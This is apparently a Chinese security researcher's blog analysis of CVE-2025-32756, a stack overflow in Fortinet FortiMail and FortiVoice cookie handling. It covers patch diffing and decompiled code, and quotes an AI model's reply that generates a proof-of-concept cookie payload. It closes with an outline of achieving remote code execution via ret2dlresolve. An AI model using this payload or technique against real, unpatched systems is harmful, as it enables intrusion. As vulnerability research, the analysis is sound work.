CVE-2025-32756

Catalpa 网络安全爱好者

2025 年 5 月 13 日,Fortinet 发布了影响 FortiMail、FortiVoice 等系统的远程代码执行漏洞预警公告 CVE-2025-32756,本文对此漏洞进行简要分析。

该漏洞已发现在野利用,建议受影响的用户及时更新系统版本。

本文有部分内容是大模型自动生成的,涉及的部分会以 🤖 来标记

基本信息

Fortinet 的漏洞预警公告中指出该漏洞是一个位于 API 中的,影响 FortiVoice, FortiMail, FortiNDR, FortiRecorder, FortiCamera 的栈溢出漏洞,它允许未授权的攻击者在系统上执行任意代码或者命令。

同时公告中还给出了详细的 IoC 信息,当这个漏洞被利用时,会在系统日志中留下进程崩溃信息:

1
2
[x x x x:x:x.x 2025] [fcgid:warn] [pid 1829] [client x.x.x.x:x] mod_fcgid: error reading data, FastCGI server closed connection
[x x x x:x:x.x 2025] [fcgid:error] [pid 1503] mod_fcgid: process /migadmin/www/fcgi/admin.fe(1741) exit(communication error), get unexpected signal 11

从日志中可以看到,Web 服务中的 mod_fcgid 模块与 CGI 之间的连接中断了,并且 CGI 程序 admin.fe 由于段错误退出。

通过这些信息能够推测出:

  1. 系统的 Web 服务使用了 Apache httpd 或者类似的 Web server
  2. 漏洞位于 CGI 程序中,能够确定 admin.fe 是一个触发点,但也可能可以通过其它接口触发
  3. 漏洞类型为栈溢出,能够执行命令说明目标程序没有开启必要的缓解措施

补丁对比

公告提到在 FortiVoice 中检测到在野利用,那么我们就用这套系统进行补丁对比。获取到 FortiVoice 7.0.6 和 7.0.7 两个 VM 版本镜像分析。

首先要解包系统文件,和以往的思路一样,先挂载磁盘。FortiVoice 中的 rootfs.gz 等压缩包没有经过加密,可以直接解压得到根文件系统。同时可以在 etc 目录下找到 Apache httpd 的配置文件,其中一项关键配置是

1
Alias /module /migadmin/www/fcgi/

这条规则将发往 /module 的请求映射到 /migadmin/www/fcgi/ 目录下,刚好是 IoC 中提到的 CGI 文件所在目录。比较两个版本的 CGI 目录,只有三个程序发生了变化,但 admin.fe 是相同的

逆向分析 admin.fe 二进制程序,它的 main 函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void main(uint param_1,char **param_2)
{
string *psVar1;
_func_FEWCmdbObj_ptr_string_ptr *p_Var2;
CFEWModuleManagerBase *this;
allocator local_4a;
undefined1 local_49;
long local_48 [3];

curl_global_init(3);
FortiMail::FmailSalt::SaltHashImpl::initialize(0xff);
psVar1 = (string *)FortiMail::FEWCommonMain::instance();
p_Var2 = (_func_FEWCmdbObj_ptr_string_ptr *)FortiMail::CFEWCmdbObjectFinder::instance();
FortiMail::CFEWCmdbObjectFinder::setCallback(p_Var2);
std::string::string((string *)local_48,"admin.fe",&local_4a);
/* try { // try from 004030d9 to 004030dd has its CatchHandler @ 00403202 */
FortiMail::FEWCommonMain::title(psVar1);
if ((undefined8 *)(local_48[0] + -0x18) != &std::string::_Rep::_S_empty_rep_storage) {
FUN_00403680((undefined8 *)(local_48[0] + -0x18),&local_49);
}
std::string::string((string *)local_48,"FVADMINCOOKIE",&local_4a);
/* try { // try from 0040310c to 00403110 has its CatchHandler @ 004031db */
FortiMail::FEWCommonMain::scrambleV2CookieName(psVar1);
if ((undefined8 *)(local_48[0] + -0x18) != &std::string::_Rep::_S_empty_rep_storage) {
FUN_00403680((undefined8 *)(local_48[0] + -0x18),&local_49);
}
if (FortiMail::CFEWModuleManagerT<>::m_instance == (CFEWModuleManagerBase *)0x0) {
this = (CFEWModuleManagerBase *)operator.new(0x58);
/* try { // try from 0040318d to 00403191 has its CatchHandler @ 004031c8 */
FortiMail::CFEWModuleManagerBase::CFEWModuleManagerBase(this);
*(undefined ***)this = &PTR_~CFEWModuleManagerT_006055b0;
FortiMail::CFEWModuleManagerT<>::m_instance = this;
}
FortiMail::FEWCommonMain::manager((CFEWModuleManagerBase *)psVar1);
FortiMail::FEWCommonMain::session_creator((_func_CFEWSession_ptr_Cgicc_ptr *)psVar1);
FortiMail::FEWCommonMain::x_initializer((_func_int *)psVar1);
FortiMail::FEWCommonMain::main((int)psVar1,(char **)(ulong)param_1,param_2);
return;
}

CGI 程序自身没有实现业务逻辑,而是会大量引用链接库中的函数,通过搜索函数名,在 /lib 目录下找到一系列相关的链接库文件,通过进一步分析可以确定,和漏洞相关的关键逻辑位于 libhttputil.so 中。

对两个版本的文件进行补丁对比,libhttputil.so 主要是 cookieval_wrapcookieval_unwrap 发生了变化:

新版本对某个参数的长度进行了检查,要求它的长度不能超过 0x19 字节,下面是 cookieval_unwrap 函数的部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
if ( cookie )
{
authhash = 0LL;
out_len = 16;
size = strlen(cookie) + 1;
payload = 0LL;
sub_11C0();
if ( sscanf(cookie, "Era=%1d&Payload=%m[^&]&AuthHash=%ms", &era, &payload, &authhash) == 3
&& (s_1 = malloc(size), (src = s_1) != 0LL) )
{
memset(s_1, 0, size);
if ( era > 1 )
{
s_2 = authhash;
v27 = -1;
s1_2 = 0LL;
}
else
{
s_3 = authhash;
v4 = alloca(strlen(authhash) + 1);
n10 = *s_3;
if ( *s_3 )
{
p_src = &src_;
v7 = 0;
v8 = 0;
v9 = 0LL;
do
{
if ( n10 == 37 && s_3[v9 + 1] == 48 && (s_3[v9 + 2] & 0xDF) == 0x41 )
{
v7 += 2;
n10 = 10;
}
++v7;
*p_src = n10;
++v8;
v9 = v7;
++p_src;
n10 = s_3[v7];
}
while ( n10 );
}
else
{
v8 = 0;
}
*(&src_ + v8) = 0;
strcpy(s_3, &src_);
desta_1 = payload;
v11 = alloca(strlen(payload) + 1);
n10_1 = *desta_1;
if ( *desta_1 )
{
v13 = &src_;
v14 = 0;
v15 = 0;
v16 = 0LL;
do
{
if ( n10_1 == 37 && desta_1[v16 + 1] == 48 && (desta_1[v16 + 2] & 0xDF) == 0x41 )
{
v14 += 2;
n10_1 = 10;
}
++v14;
*v13 = n10_1;
++v15;
v16 = v14;
++v13;
n10_1 = desta_1[v14];
}
while ( n10_1 );
}
else
{
v15 = 0;
}
*(&src_ + v15) = 0;
strcpy(desta_1, &src_);
s_2 = authhash;
authhash_len = strlen(authhash);
size_1 = strlen(payload);
s1_2 = malloc(size_1);
size_2 = size_1;
if ( s1_2 )
{
v20 = EVP_ENCODE_CTX_new();
v21 = v20;
if ( !v20 )
goto LABEL_34;
EVP_DecodeInit(v20);
out_len = 16;
src__1[0] = 16;
s1 = out;
if ( EVP_DecodeUpdate(v21, out, &out_len, authhash, authhash_len) < 0 )
goto LABEL_34;
// ...

函数开头会使用 sscanf 处理传入的参数,按照格式取出其中的三个参数,分别是 Era、Payload 和 AuthHash,这刚好是请求中的 Cookie 参数内容,而新版本限制了 AuthHash 参数的长度。

漏洞分析(🤖)

我们尝试使用大模型自动分析可能的漏洞成因,并且自动构造 poc 请求,这里使用 DeepSeek-R1 模型。

🤺:现在我正在复现某个 CVE 漏洞,我通过二进制补丁对比找到了可能和这个漏洞有关的函数,请你分析新旧两个版本的函数,告诉我漏洞的成因是什么,并且构造一个 poc 数据。(新旧版本 cookieval_unwrap 函数代码)

🤖:通过分析新旧两个版本的 cookieval_unwrap 函数,我发现了一个关键的安全漏洞及其修复方案。以下是详细分析:

漏洞成因分析

  1. 问题核心:Base64解码缓冲区溢出

    • 旧版本中未对 AuthHash 参数的长度进行限制
    • 在 Base64 解码时(EVP_DecodeUpdate 调用),使用原始长度 authhash_len = strlen(authhash)
    • AuthHash 值超过 24字符时,Base64解码后数据会超出目标缓冲区 out[32] 的容量(32字节)
  2. 关键漏洞代码(旧版本)

    1
    2
    3
    authhash_len = strlen(authhash);  // 无长度限制
    // ...
    if (EVP_DecodeUpdate(v21, out, &out_len, authhash, authhash_len) < 0)
  3. 修复方案(新版本)

    1
    2
    3
    4
    5
    6
    n24 = 24;  // 新增长度限制
    if (authhash_len <= 24)
    n24 = authhash_len;
    LODWORD(authhash_len_1) = n24; // 限制后的长度
    // ...
    if (EVP_DecodeUpdate(v23, out, &out_len, authhash, authhash_len_1) < 0)

POC构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
# poc.py
import base64
import sys

# 生成超长AuthHash(Base64编码)
overflow_data = b"A" * 48 # 超过32字节的原始数据
authhash = base64.b64encode(overflow_data).decode()

# 构造恶意cookie
poc = f"Era=0&Payload=legit_data&AuthHash={authhash}"
print("恶意Cookie:")
print(poc)

# 验证长度
print(f"\nAuthHash长度: {len(authhash)} (>24 触发漏洞)")
if len(authhash) > 24:
print("✅ 可触发缓冲区溢出")
sys.exit(0)
else:
print("❌ 长度不足")
sys.exit(1)

POC使用说明

  1. 执行POC脚本

    1
    python3 poc.py
  2. 预期输出

    1
    2
    3
    4
    5
    恶意Cookie:
    Era=0&Payload=legit_data&AuthHash=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=

    AuthHash长度: 68 (>24 触发漏洞)
    ✅ 可触发缓冲区溢出
  3. 漏洞触发效果

    • 当程序处理该Cookie时
    • EVP_DecodeUpdate 尝试将68字符Base64解码为48字节数据
    • 超出 out[32] 缓冲区16字节 → 栈缓冲区溢出
    • 可能导致程序崩溃或任意代码执行(取决于溢出内容控制)

技术细节

  1. 安全边界

    • Base64解码后大小公式:ceil(n/4)*3
    • 24字符Base64 → 最大18字节输出(小于32字节缓冲区)
    • 68字符Base64 → 输出51字节(超过32字节缓冲区)
  2. 攻击向量

    • 攻击者可通过伪造恶意Cookie触发漏洞
    • 结合ROP链可实现远程代码执行
    • 影响身份验证相关的cookie处理流程

此漏洞属于典型的缺少输入验证导致的栈缓冲区溢出(CWE-121),建议对所有外部输入进行严格长度校验。

可以看到大模型对漏洞的成因理解是正确的,并且也给出了可以用于测试的 poc 代码,但是由于反编译代码存在信息丢失,脚本中溢出到返回地址需要的 padding 长度存在误差。

漏洞利用

以 FortiMail 7.2.2 版本为例,来分析一下该漏洞利用的可行性。使用前面的脚本生成 poc 请求发送到 web 服务,可以在调试器中捕获到这样的崩溃信息

此时 rip 指向 ret 指令,同时 rsp 中的内容是可控的,所以能够劫持程序控制流。而且溢出的数据是经过 Base64 编码的,可以写入 NULL 字节,但是还有几个问题需要解决

  1. 系统开启了 ASLR,CGI 进程每次崩溃地址都会变化
  2. stack 等区域的内存是具有 rwx 权限的,但存在于已知地址中的 gadget 难以将控制流转移到 stack 上面

考虑到各方面的限制条件,我们可以选择使用 ret2dlresolve 技巧实现利用,因为这种方法能直接解析任意符号并调用,无需爆破地址,另外 CGI 程序的 RELRO 为 NO RELRO,这也降低了利用 ret2dlresolve 的难度。关于 ret2dlresolve 的方法网络上有很多文章,在这里不再赘述。

利用 ret2dlresolve 需要满足一些前提条件,程序没有重定位保护所以 .dynamic 段是可写的,那么只需要一个已知地址可以保存我们伪造的 dynstr 结构。由于程序引用了 memcpy 函数,通过使用合适的 gadget 能够实现将 stack 上可控的数据拷贝到一个已知地址。那么利用思路可以总结为:

  1. 寻找到合适的 gadget,调用 memcpy 函数将伪造的 dynstr 以及需要执行的命令拷贝到一个已知地址
  2. 调用 memcpy 函数修改 dynamic 段中的 dynstr 指针,指向我们伪造的结构
  3. 触发 runtime resolve,同时设置好参数,调用 system 函数执行任意命令

参考链接

https://www.fortiguard.com/psirt/FG-IR-25-254

https://horizon3.ai/attack-research/attack-blogs/cve-2025-32756-low-rise-jeans-are-back-and-so-are-buffer-overflows/

  • Title: CVE-2025-32756
  • Author: Catalpa
  • Created at : 2025-06-03 00:00:00
  • Updated at : 2025-06-03 15:26:17
  • Link: https://wzt.ac.cn/2025/06/03/CVE-2025-32756/
  • License: This work is licensed under CC BY-SA 4.0.